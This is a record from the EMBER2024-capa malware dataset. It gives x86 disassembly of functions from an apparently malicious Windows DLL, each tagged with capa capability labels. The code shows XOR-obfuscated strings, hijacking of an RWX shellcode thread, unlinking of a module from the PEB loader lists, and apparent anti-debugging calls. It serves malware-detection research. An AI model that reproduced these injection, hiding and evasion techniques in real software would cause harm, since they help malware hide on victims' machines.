joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000930a
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, 0x270
cmp dword [esi], edi
jne 0x10009352
lea edx, [esi + 8]
mov ecx, dword [edx - 4]
xor ecx, dword [edx]
lea edx, [edx + 4]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x1000931a
jmp 0x1000935f
cmp dword [esi], 0x4e0
jb 0x1000935f
call fcn.10009399
mov eax, dword [esi]
pop edi
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
pop esi
ret

Function at 0x10009399
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push esi
mov esi, ecx
mov ebx, 0xe3
push edi
lea edi, [esi + 0x9c4]
mov ecx, dword [edi + 4]
xor ecx, dword [edi]
and ecx, 0x7fffffff
xor ecx, dword [edi]
lea edi, [edi + 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x630]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub ebx, 1
jne 0x100093a9
lea edi, [esi + 0xd50]
mov ebx, 0x18c
mov ecx, dword [edi + 4]
xor ecx, dword [edi]
and ecx, 0x7fffffff
xor ecx, dword [edi]
lea edi, [edi + 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd50]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub ebx, 1
jne 0x100093e9
mov ecx, dword [esi + 0x1380]
xor ecx, dword [esi + 4]
and ecx, 0x7fffffff
xor ecx, dword [esi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
and dword [esi], ebx
pop esi
pop ebx
ret
Function at 0x10009cf9
Capabilities:
Encode data using xor
Encrypt data using rc4 via winapi
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
movaps xmm0, xmmword [0x10047f40]
movups xmmword [ebp - 0x34], xmm0
push ebx
movaps xmm0, xmmword [0x10047ec0]
xor ebx, ebx
movups xmmword [ebp - 0x24], xmm0
mov ecx, ebx
movaps xmm0, xmmword [str.XekITMR_IeM_n]
push esi
movups xmmword [ebp - 0x14], xmm0
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x2e
jb 0x10009d26
push ebx
push 1
lea eax, [ebp - 0x33]
mov byte [ebp - 5], bl
push eax
push ebx
push 0x100500f4
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x10009e0a
push 0x100500f0
push ebx
push ebx
push 0x8004
push dword [0x100500f4]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x10009e0a
movaps xmm0, xmmword [0x10047af0]
mov ecx, ebx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x10], 0x326a3c3b
movaps xmm0, xmmword [0x10048190]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0xc], 0x386e281a
movaps xmm0, xmmword [0x100482d0]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 8], 0x7b2a200f
mov word [ebp - 4], 0x27
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x3c
jb 0x10009daf
push 1
push 0x3c
lea eax, [ebp - 0x3f]
mov byte [ebp - 3], bl
push eax
push dword [0x100500f0]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x10009e0a
push 0x100500ec
push 0x800000
push dword [0x100500f0]
push 0x6801
push dword [0x100500f4]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x10009e0a
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x100500e8], eax
call fcn.10036be0
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.100370b0
mov ebx, 0x10009c38
push ebx
push 0x100500e4
call fcn.100368f0
call fcn.10036c40
push 4
push 0x60f6e0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10009e75
mov dword [0x100500e4], 0x60f6e0
call fcn.10036be0
call esi
push eax
call fcn.100370b0
push ebx
push 0x100500e4
call fcn.10036460
call fcn.10036c40
call fcn.10036be0
call esi
push eax
call fcn.100370b0
mov ebx, 0x10009c5a
push ebx
push 0x100500e0
call fcn.100368f0
call fcn.10036c40
push 4
push 0x60eab0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x10009ecf
mov dword [0x100500e0], 0x60eab0
call fcn.10036be0
call esi
push eax
call fcn.100370b0
push ebx
push 0x100500e0
call fcn.10036460
call fcn.10036c40
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000d81d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x1004e014]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x10048310]
push ebx
mov ebx, dword [0x10050180]
push esi
mov dword [ebp - 0x20], ecx
xor ecx, ecx
push edi
movups xmmword [ebp - 0x34], xmm0
mov byte [ebp - 0x24], 0
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0xf
jb 0x1000d84a
sub esp, 0x18
mov byte [ebp - 0x24], 0
lea eax, [ebp - 0x33]
mov ecx, esp
push eax
call fcn.100040a5
lea ecx, [ebp - 0x1c]
call fcn.10030b4d
add esp, 0x18
xor edi, edi
test ebx, ebx
jle 0x1000d8b0
cmp dword [ebp - 8], 0x10
lea esi, [ebp - 0x1c]
cmovae esi, dword [ebp - 0x1c]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1000d888
sub esi, ecx
mov eax, edi
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
cmovae ecx, dword [ebp - 0x1c]
xor edx, edx
div esi
mov al, byte [edx + ecx]
mov ecx, dword [ebp - 0x20]
xor byte [ecx + edi], al
inc edi
cmp edi, ebx
jl 0x1000d87a
push 0
push 1
lea ecx, [ebp - 0x1c]
call fcn.10003f51
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10037f95
mov esp, ebp
pop ebp
ret
Function at 0x1000dc36
Capabilities:
Encode data using xor

Disassembly:
push 0x5c
mov eax, 0x1003a304
call fcn.10039093
mov esi, ecx
test esi, esi
je 0x1000ddb5
xor ebx, ebx
lea edi, [ebp - 0x30]
push 7
pop ecx
xor eax, eax
rep stosd dword es:[edi], eax
mov dword [ebp - 0x30], vtable.ByteBuffer.0
mov byte [ebp - 0x2c], 1
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
push 0x20
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], ebx
call fcn.1000646c
mov dword [ebp - 0x30], vtable.Packet.0
xor edi, edi
inc edi
mov dword [ebp - 4], edi
cmp dword [esi + 4], ebx
jle 0x1000dd07
mov eax, dword [esi + 8]
lea ecx, [ebp - 0x4c]
push dword [esi + 4]
mov al, byte [eax]
mov byte [ebp - 0x14], al
call fcn.100063e7
push edi
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x4c], vtable.Packet.0
call fcn.1000658b
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x20]
mov al, byte [ebp - 0x48]
mov byte [ebp - 0x2c], al
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x3c]
push eax
call fcn.1000e171
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x4c], vtable.ByteBuffer.0
call fcn.10006523
mov eax, dword [esi + 4]
test eax, eax
jle 0x1000dd07
dec eax
lea ecx, [ebp - 0x30]
push eax
mov eax, dword [esi + 8]
inc eax
push eax
call fcn.1000658b
cmp byte [0x10050118], 0
jne 0x1000dd9e
mov eax, dword [ebp - 0x20]
mov ecx, ebx
mov edi, dword [ebp - 0x1c]
movaps xmm0, xmmword [0x10047fe0]
sub edi, eax
mov dword [ebp - 0x50], eax
movups xmmword [ebp - 0x64], xmm0
mov byte [ebp - 0x54], bl
mov al, byte [ebp - 0x64]
xor byte [ebp + ecx - 0x63], al
inc ecx
cmp ecx, 0xf
jb 0x1000dd2f
sub esp, 0x18
mov byte [ebp - 0x54], bl
lea eax, [ebp - 0x63]
mov ecx, esp
push eax
call fcn.100040a5
lea ecx, [ebp - 0x48]
call fcn.10030b4d
add esp, 0x18
test edi, edi
jle 0x1000dd92
cmp dword [ebp - 0x34], 0x10
lea esi, [ebp - 0x48]
cmovae esi, dword [ebp - 0x48]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x1000dd6a
sub esi, ecx
mov eax, ebx
cmp dword [ebp - 0x34], 0x10
lea ecx, [ebp - 0x48]
cmovae ecx, dword [ebp - 0x48]
xor edx, edx
div esi
mov al, byte [edx + ecx]
mov ecx, dword [ebp - 0x50]
xor byte [ebx + ecx], al
inc ebx
cmp ebx, edi
jl 0x1000dd5c
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.10003f51
lea ecx, [ebp - 0x30]
call fcn.1000db53
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], vtable.ByteBuffer.0
call fcn.10006523
call fcn.1003903d
ret
Function at 0x1000e055
Capabilities:
Encode data using xor

Disassembly:
push 0x54
mov eax, 0x1003a341
call fcn.10039093
cmp byte [0x100500bb], 0
je 0x1000e162
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
sub eax, dword [0x10050188]
sbb edx, dword [0x1005018c]
mov dword [ebp - 0x5c], edx
jne 0x1000e090
cmp eax, 0xbb8
jb 0x1000e162
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
movaps xmm0, xmmword [str._zL__SmQXJ]
mov dword [0x1005018c], edx
xor edx, edx
mov dword [0x10050188], eax
movups xmmword [ebp - 0x58], xmm0
mov cl, byte [ebp - 0x58]
xor byte [ebp + edx - 0x57], cl
inc edx
cmp edx, 0xe
jb 0x1000e0ae
sub esp, 0x18
mov byte [ebp - 0x49], 0
lea eax, [ebp - 0x57]
mov ecx, esp
push eax
call fcn.100040a5
lea ecx, [ebp - 0x48]
call fcn.10030b4d
add esp, 0x18
and dword [ebp - 4], 0
lea edi, [ebp - 0x30]
push 7
pop ecx
xor eax, eax
mov byte [ebp - 0x14], 0xa1
rep stosd dword es:[edi], eax
push 0x1000
lea ecx, [ebp - 0x30]
call fcn.100063e7
push 1
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], vtable.Packet.0
call fcn.1000658b
push 1
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x14], 0xa2
call fcn.1000658b
cmp dword [ebp - 0x34], 0x10
lea eax, [ebp - 0x48]
lea ecx, [ebp - 0x30]
cmovae eax, dword [ebp - 0x48]
push eax
call fcn.1000638e
mov edx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
sub edx, ecx
call fcn.1000bafc
lea ecx, [ebp - 0x20]
mov dword [ebp - 0x30], vtable.ByteBuffer.0
call fcn.10006523
push 0
push 1
lea ecx, [ebp - 0x48]
call fcn.10003f51
call fcn.1003903d
ret

Function at 0x1000f6e8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x1004e014]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [str.c6___r_n]
push ebx
xor ebx, ebx
mov dword [ebp - 0x24], 0xc000a4d
push esi
mov esi, ecx
mov byte [ebp - 0x20], bl
movups xmmword [ebp - 0x34], xmm0
mov ecx, ebx
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x13
jb 0x1000f715
lea eax, [ebp - 0x33]
mov byte [ebp - 0x20], bl
push eax
mov edx, 0x1004f3f0
lea ecx, [ebp - 0x1c]
call fcn.1000a8e7
mov eax, dword [esi + 0x1fc]
pop ecx
test eax, eax
je 0x1000f748
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
cmp dword [ebp - 8], 0x10
lea eax, [ebp - 0x1c]
push 0x8010
cmovae eax, dword [ebp - 0x1c]
push ebx
push ebx
push 1
push eax
push ebx
call dword [sym.imp.USER32.dll_LoadImageA]
mov dword [esi + 0x1fc], eax
test eax, eax
je 0x1000f782
mov dword [esi + 0x14], eax
cmp byte [esi + 0x200], bl
je 0x1000f782
push esi
push 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
push ebx
push 1
lea ecx, [ebp - 0x1c]
call fcn.10003f51
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10037f95
mov esp, ebp
pop ebp
ret
Function at 0x1000f8d8
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f4
mov eax, dword [0x1004e014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor ebx, ebx
mov dword [ebp - 0x2f4], 0x2c341240
push esi
mov cl, 0x40
mov dword [ebp - 0x2f0], 0x24212f0c
mov dword [ebp - 0x2ec], 0x29323413
mov eax, ebx
mov word [ebp - 0x2e8], 0x272e
mov byte [ebp - 0x2e6], bl
xor byte [ebp + eax - 0x2f3], cl
inc eax
cmp eax, 0xd
jae 0x1000f935
mov cl, byte [ebp - 0x2f4]
jmp 0x1000f920
mov byte [ebp - 0x2e6], bl
mov cl, 0x63
mov dword [ebp - 0x2e4], 0x7170d63
mov eax, ebx
mov dword [ebp - 0x2e0], 0x74d0f0f
mov word [ebp - 0x2dc], 0xf0f
mov byte [ebp - 0x2da], bl
xor byte [ebp + eax - 0x2e3], cl
inc eax
cmp eax, 9
jae 0x1000f977
mov cl, byte [ebp - 0x2e4]
jmp 0x1000f962
lea eax, [ebp - 0x2f3]
mov byte [ebp - 0x2da], bl
push eax
lea eax, [ebp - 0x2e3]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
jne 0x1000f9a9
xor eax, eax
jmp 0x1000fa4f
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1000f9a2
push 0x2cc
lea eax, [ebp - 0x2d8]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1000f9a2
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1000f9a2
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000f9a2
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x100019a1
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1000f9a2
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov eax, esi
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.10037f95
mov esp, ebp
pop ebp
ret
Function at 0x1000fa5f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0xc], 0x6f7f650b
mov esi, ecx
mov dword [ebp - 8], 0x6f256767
push edi
mov cl, 0xb
mov word [ebp - 4], 0x6767
mov byte [ebp - 2], bl
mov eax, ebx
xor byte [ebp + eax - 0xb], cl
inc eax
cmp eax, 9
jae 0x1000fa96
mov cl, byte [ebp - 0xc]
jmp 0x1000fa87
lea eax, [ebp - 0xb]
mov byte [ebp - 2], bl
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
jne 0x1000faad
xor al, al
jmp 0x1000fb02
movaps xmm0, xmmword [0x10047990]
mov ecx, ebx
movups xmmword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 0x3e241822
mov dword [ebp - 0x10], 0x282d29
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0x16
jb 0x1000fac8
lea eax, [ebp - 0x23]
mov byte [ebp - 0xd], bl
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000faa9
test esi, esi
jne 0x1000faf5
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push ebx
push ebx
push 0x11
push esi
call edi
neg eax
sbb al, al
inc al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000fb09
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1000fb43
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000fb47
cmp edx, esi
jne 0x1000fb2c
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1000fb67
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000fb6b
cmp edx, esi
jne 0x1000fb50
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1000fb8b
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000fb8f
cmp edx, esi
jne 0x1000fb74
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000fc1b
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1004e014]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.1000913d
test al, al
jne 0x1000fc3c
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [str._uOiHNVoSIZ_]
push ebx
push esi
xor ebx, ebx
push edi
movups xmmword [ebp - 0x24], xmm0
mov ecx, ebx
mov al, byte [ebp - 0x24]
xor byte [ebp + ecx - 0x23], al
inc ecx
cmp ecx, 0xe
jb 0x1000fc4e
mov byte [ebp - 0x15], bl
mov cl, 0x1b
mov dword [ebp - 0x14], 0x7f6f751b
mov eax, ebx
mov dword [ebp - 0x10], 0x7f357777
mov word [ebp - 0xc], 0x7777
mov byte [ebp - 0xa], bl
xor byte [ebp + eax - 0x13], cl
inc eax
cmp eax, 9
jae 0x1000fc88
mov cl, byte [ebp - 0x14]
jmp 0x1000fc79
lea eax, [ebp - 0x23]
mov byte [ebp - 0xa], bl
push eax
lea eax, [ebp - 0x13]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x116e058
mov edi, eax
call fcn.1000ba22
push eax
push ebx
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x1000fce1
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push esi
call edi
test eax, eax
js 0x1000fc34
cmp dword [ebp - 8], ebx
ja 0x1000fc34
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10037f95
mov esp, ebp
pop ebp
ret

Function at 0x1000fcf2
Capabilities:
Resume thread

Disassembly:
push 0xc
push 0x10049ea8
call fcn.10038df0
mov esi, dword [0x100501a0]
test esi, esi
jne 0x1000fd0d
or eax, 0xffffffff
jmp 0x1000fd6a
and dword [ebp - 4], 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x1000fd2d
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
inc eax
jmp 0x1000fd6a
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
je 0x1000fd44
mov dword [ebp - 4], 0xfffffffe
push 2
pop eax
jmp 0x1000fd6a
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
test eax, eax
jns 0x1000fd61
mov dword [ebp - 4], 0xfffffffe
push 3
jmp 0x1000fd41
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
call fcn.10038e36
ret
Function at 0x100106af
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x10], fcn.10020163
mov esi, ecx
mov dword [ebp - 0xc], 0xc003c06
mov cl, 0x63
mov word [ebp - 8], 0x10
mov edx, ebx
xor cl, byte [ebp + edx - 0xf]
mov byte [ebp + edx - 0xf], cl
inc edx
cmp edx, 8
jae 0x100106e6
mov cl, byte [ebp - 0x10]
jmp 0x100106d3
sub esp, 0x18
mov byte [ebp - 7], bl
lea eax, [ebp - 0xf]
mov ecx, esp
push eax
call fcn.100040a5
mov ecx, dword [esi]
call fcn.1000ae52
add esp, 0x18
mov dword [esi + 4], eax
push 4
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
je 0x10010714
mov dword [esi + 4], ebx
movaps xmm0, xmmword [str.__4.]
mov ecx, ebx
movups xmmword [ebp - 0x14], xmm0
mov al, byte [ebp - 0x14]
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 0xe
jb 0x10010721
sub esp, 0x18
mov byte [ebp - 5], bl
lea eax, [ebp - 0x13]
mov ecx, esp
push eax
call fcn.100040a5
mov ecx, dword [esi + 4]
call fcn.1000ae52
add esp, 0x18
mov dword [esi + 8], eax
push 4
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
je 0x1001075d
mov dword [esi + 8], ebx
cmp dword [esi + 8], ebx
je 0x10010775
cmp dword [0x10054494], ebx
mov ecx, 0x10b78ba
sete dl
call fcn.1000b96b
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10010e1b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
mov eax, ecx
mov dword [ebp - 4], 8
push esi
push edi
mov dword [ebp - 8], eax
xor ebx, ebx
lea esi, [eax + 8]
sub esp, 0x18
mov dword [ebp - 0x54], 0x10022163
mov edi, esp
mov dword [ebp - 0x50], 0x2333c06
mov cl, 0x63
mov dword [ebp - 0x4c], 0x461a1711
mov word [ebp - 0x48], 7
xor edx, edx
push ebx
xor cl, byte [ebp + edx - 0x53]
mov byte [ebp + edx - 0x53], cl
inc edx
cmp edx, 0xc
jae 0x10010e6d
mov cl, byte [ebp - 0x54]
jmp 0x10010e5a
sub esp, 0x18
mov byte [ebp - 0x47], 0
lea eax, [ebp - 0x53]
mov ecx, esp
push eax
call fcn.100040a5
push edi
call fcn.10003b8a
mov eax, dword [ebp - 8]
add esp, 0x20
mov ecx, dword [eax]
call fcn.1000ae52
add esp, 0x18
mov dword [ebp - 0x14], 0x25322140
mov edi, eax
mov word [ebp - 0x10], 0x21
mov cl, 0x40
xor edx, edx
xor cl, byte [ebp + edx - 0x13]
mov byte [ebp + edx - 0x13], cl
inc edx
cmp edx, 4
jae 0x10010ebb
mov cl, byte [ebp - 0x14]
jmp 0x10010ea8
sub esp, 0x18
mov byte [ebp - 0xf], 0
lea eax, [ebp - 0x13]
mov ecx, esp
push eax
call fcn.100040a5
mov ecx, edi
call fcn.1000ae52
add esp, 0x18
mov dword [esi - 4], eax
mov cl, 0xb
mov dword [ebp - 0x20], 0x7b54600b
mov dword [ebp - 0x1c], 0x727f796a
xor edx, edx
mov byte [ebp - 0x18], 0
xor cl, byte [ebp + edx - 0x1f]
mov byte [ebp + edx - 0x1f], cl
inc edx
cmp edx, 7
jae 0x10010f03
mov cl, byte [ebp - 0x20]
jmp 0x10010ef0
sub esp, 0x18
mov byte [ebp - 0x18], 0
lea eax, [ebp - 0x1f]
mov ecx, esp
push eax
call fcn.100040a5
mov ecx, edi
call fcn.1000ae52
add esp, 0x18
mov dword [esi], eax
xor dl, dl
mov ecx, eax
call fcn.1000b082
mov dl, 0x4c
mov dword [ebp - 0x2c], 0x3c13294c
mov dword [ebp - 0x28], 0x35383e2d
xor ecx, ecx
mov byte [ebp - 0x24], 0
xor dl, byte [ebp + ecx - 0x2b]
mov byte [ebp + ecx - 0x2b], dl
inc ecx
cmp ecx, 7
jae 0x10010f53
mov dl, byte [ebp - 0x2c]
jmp 0x10010f40
sub esp, 0x18
mov byte [ebp - 0x24], 0
lea eax, [ebp - 0x2b]
mov ecx, esp
push eax
call fcn.100040a5
mov ecx, edi
call fcn.1000ae52
add esp, 0x18
mov dword [esi + 4], eax
xor dl, dl
mov ecx, eax
call fcn.1000b082
mov dl, 0x1b
mov dword [ebp - 0x44], 0x447c791b
mov dword [ebp - 0x40], 0x76697475
xor ecx, ecx
mov word [ebp - 0x3c], 0x777a
mov byte [ebp - 0x3a], 0
xor dl, byte [ebp + ecx - 0x43]
mov byte [ebp + ecx - 0x43], dl
inc ecx
cmp ecx, 9
jae 0x10010faa
mov dl, byte [ebp - 0x44]
jmp 0x10010f97
sub esp, 0x18
mov byte [ebp - 0x3a], 0
lea eax, [ebp - 0x43]
mov ecx, esp
push eax
call fcn.100040a5
mov ecx, edi
call fcn.1000ae52
add esp, 0x18
mov dword [esi + 8], eax
mov cl, 0x3b
mov dword [ebp - 0x38], 0x645c593b
mov dword [ebp - 0x34], 0x575a5648
xor eax, eax
mov word [ebp - 0x30], 0x57
xor byte [ebp + eax - 0x37], cl
inc eax
cmp eax, 8
jae 0x10010ff0
mov cl, byte [ebp - 0x38]
jmp 0x10010fe1
sub esp, 0x18
mov byte [ebp - 0x2f], 0
lea eax, [ebp - 0x37]
mov ecx, esp
push eax
call fcn.100040a5
mov ecx, edi
call fcn.1000ae52
add esp, 0x18
mov dword [esi + 0xc], eax
inc ebx
add esi, 0x14
sub dword [ebp - 4], 1
jne 0x10010e35
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret